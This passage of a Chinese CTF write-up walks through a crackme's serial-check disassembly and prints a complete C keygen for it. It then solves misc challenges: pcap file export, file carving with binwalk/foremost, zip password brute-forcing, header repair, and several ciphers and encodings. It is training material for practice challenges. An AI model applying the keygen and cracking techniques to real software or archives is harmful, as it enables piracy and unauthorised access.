  00401670  |.  88141F        |mov     byte ptr [edi+ebx], dl          ;  把餘數放到hserial的第i個裏
  00401673  |.  43            |inc     ebx                             ;  i++
  00401674  |.  3B1D 67344000 |cmp     ebx, dword ptr [403467]         ;  i和註冊碼的長度lens比較大小
  0040167A  |.^ 75 ED         \jnz     short 00401669

可以看出f2的計算比較簡單,就是serial的每個字符ascii碼除於10的餘數存到hserial中。 在計算出hname=f1(name)和hserial=f2(serial)之後就是比較hname和hserial的大小。 彙編代碼:

  004016A8  |> \8D35 4D324000 lea     esi, dword ptr [40324D]          ;  註冊碼緩存hserial
  004016AE  |.  8D3D 58324000 lea     edi, dword ptr [403258]          ;  帳號緩存hname
  004016B4  |.  33DB          xor     ebx, ebx                         ;  變量i
  004016B6  |>  3B1D 63344000 /cmp     ebx, dword ptr [403463]         ;  i和註冊碼長度len比較
  004016BC  |.  74 0F         |je      short 004016CD                  ;  相等纔可以提示正確
  004016BE  |.  0FBE041F      |movsx   eax, byte ptr [edi+ebx]         ;  hname[i]
  004016C2  |.  0FBE0C1E      |movsx   ecx, byte ptr [esi+ebx]         ;  hserial[i]
  004016C6  |.  3BC1          |cmp     eax, ecx                        ;  如果hname【i】和hserial【i】相等,i++
  004016C8  |.  75 18         |jnz     short 004016E2                  ;  不相等就註冊失敗
  004016CA  |.  43            |inc     ebx
  004016CB  |.^ EB E9         \jmp     short 004016B6

只有hname和hserial的所有第i個字符相等才能註冊成功,有一個不相等在4016c8處就會跳到註冊失敗提示上去! 寫註冊機就是求serial,serial=f2^-1(hserial),hserial=hname=f1(name)。f2是除10的餘數,f2的逆f2^-1求出來的值不是唯一的 是加上10的倍數就可以,就是說serial=hserial+10*n,n是0,1,2,3……,hserial是0到九的數,我們要serial的值是字母的ascii值n取70,serial的值在70到80之間是F~P的ascii值, 所以我們的註冊機代碼:

  #include<stdio.h>
  #include<string.h>
  
  main()
  {
          char name[19]="abcdefg";
          char serial[19];
          char hname[19];
          char hserial[19];
          int lenn;
          int lens;
          char ch;
          int tm;
          int i=0;
  
          printf("輸入帳號:");
          scanf("%s",name);
          printf("\n");
  
          lenn=strlen(name);
          for(i=0;i<lenn;i++)
          {
                  tm=name[i];
                  tm%=10;
                  tm^=i;
                  tm+=2;
                 
                  if(tm>=10)
                  {
                          tm-=10;
                  }
                  hname[i]=tm;
          }
          printf("註冊碼:");
          for(i=0;i<lenn;i++)
          {
  
                  printf("%c",(hname[i]+70));
          }
          printf("\n");
          system("pause");
  }

0x03 Misc

3.1 Unicode

打開的內容如下:

進行Unicode編碼解碼兩次,即拿到flag。

第一次解碼

第二次解碼

3.2 小埋

首先打開pcapng包,因爲總體數量不多,所以大致瀏覽一下,並可以發現一些文件的存在。那麼文件 -> 導出對象 -> HTTP 就可以拿到裏面的一些文件。

在其中找到了一個pass.zip文件,打開之後。

一個密碼和一個可能是短網址。在瀏覽器試試。出現百度網盤,輸入密碼,拿到一張圖片。通過binwalk發現其中有一張png圖片。分離之後,是一張二維碼。掃碼得網址,從而拿到 一些16進制數。

放入winhex,發現一些東西。

保存爲pyc文件,並將其反彙編。在線反彙編網址:https://tool.lu/pyc/。也可以使用一些反彙編的軟件,例如Easy Python Decompiler。

運行即得flag。

3.3 皮卡丘

拿到一張圖片和一個加密的readme.zip文件。先看看readme.zip文件,直接暴力破解,密碼191001。

直接百度,得到謎底'高'。 一看圖片是png圖片,便可以嘗試修改圖片的高。拿到一串假的flag。

假的flag的字面意思是‘需要密鑰的編碼’,再結合文件名是des,猜測是des加密。 尋找密文,利用winhex看到密文。

des解密密文,無法解密。 提醒了需要密鑰,將假的flag作爲密鑰進行解密,解密成功,拿到flag。

3.4 冰雪

根據題目提示,最終的flag應該跟凱撒有關係。 首先,拿到一張圖片。

首先嚐試一下改後綴,發現可以將後綴改爲rar,看到裏面的一個txt文件,但是是加密的,需要密碼。這裏就大概有幾種辦法了: 辦法1 直接暴力破解。 因爲改後綴爲rar文件,那麼肯定是用AdvancedArchivePassword_Recovery來進行暴力破解。 但是在將文件拖入後,會提示說這不是一個被口令保護的什麼文件。 所以暴力破解不要想。(就算你能暴力破解,我也不認爲你能破解出來) 辦法2 在暴力破解無果之後,使用foremost分離出一個zip文件,繼續暴力破解,不過破解不出來。 辦法3 在右鍵屬性裏面的詳細信息裏面

將大括號內的值當成密碼試一試

成功拿到裏面的內容,一看,結合前面的凱撒,不難看出是凱撒加密。

歐克,拿到flag。

3.5 Life

拿到圖片後

binwalk分析,發現裏面有還有一個png圖片。簡單的foremost分離,看到是一張二維碼。

掃描二維碼,拿到一串密文和藏在最下面的一句話。

兔子。。。得知是Rabbit解密。 無密鑰,解密即得flag。

3.6 符號

jother編碼 在線解密網址: http://discogscounter.getfreehosting.co.uk/js-noalnum.php?i=1

3.7 base

分別瞭解一下base16、base32、base64的一些區別。 不難看出是先base64解密,再base32解密,最後是base16解密 解密完成即得flag。 base64解密

base32解密

base16解密

3.8 涅槃

拿到一段音頻,你要聽就聽,大概聽到中間部分。左聲道會有滴滴的聲音。那麼會想到莫斯電碼。將音頻放入Audacity中,便可以得到一部分的flag。

因爲只有一半的音頻,所以需要再尋找。 利用notepad或者winhex之類的工具,可以在最後面發現另一部分的flag。 (這裏說一下,就是有些在線網址轉換摩斯電碼,是以大寫字母輸出。所以最後的flag是全部字母小寫即可。)

3.9 埼玉老師

打開圖片,琦玉老師你好!!!

用什麼記事本啊、binwalk啊都試試,發現沒什麼收穫,丟進winhex裏面看一看,可以看到標準的jpg文件頭FFD8。

在瀏覽到文件尾部的時候,看到了IEND。

IEND標誌着png文件的結尾。那麼根據jpg的文件頭,png的結尾的情況,不難猜到有一個jpg和一個png圖片。直接搜索16進制數FFD9(FFD9是jpg文件的尾部)

我們看到了NG,結合前面的分析,可以確定是png文件頭的缺失,因爲png圖片的文件頭的%PNG。那麼補齊即可。

缺少8950 將FFD9之後的內容複製,創建新文件,並加上8950。 保存爲png圖片,得到flag。

3.10 小貓

首先拿到一個jpg圖片

方法一 改後綴 將圖片後綴名jpg改爲zip,就可以得到flag。 方法二 用記事本或者其他的軟件(例如notepad、vscode等)打開,可以看到

編輯 -> 查找

方法三 binwalk+foremost

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章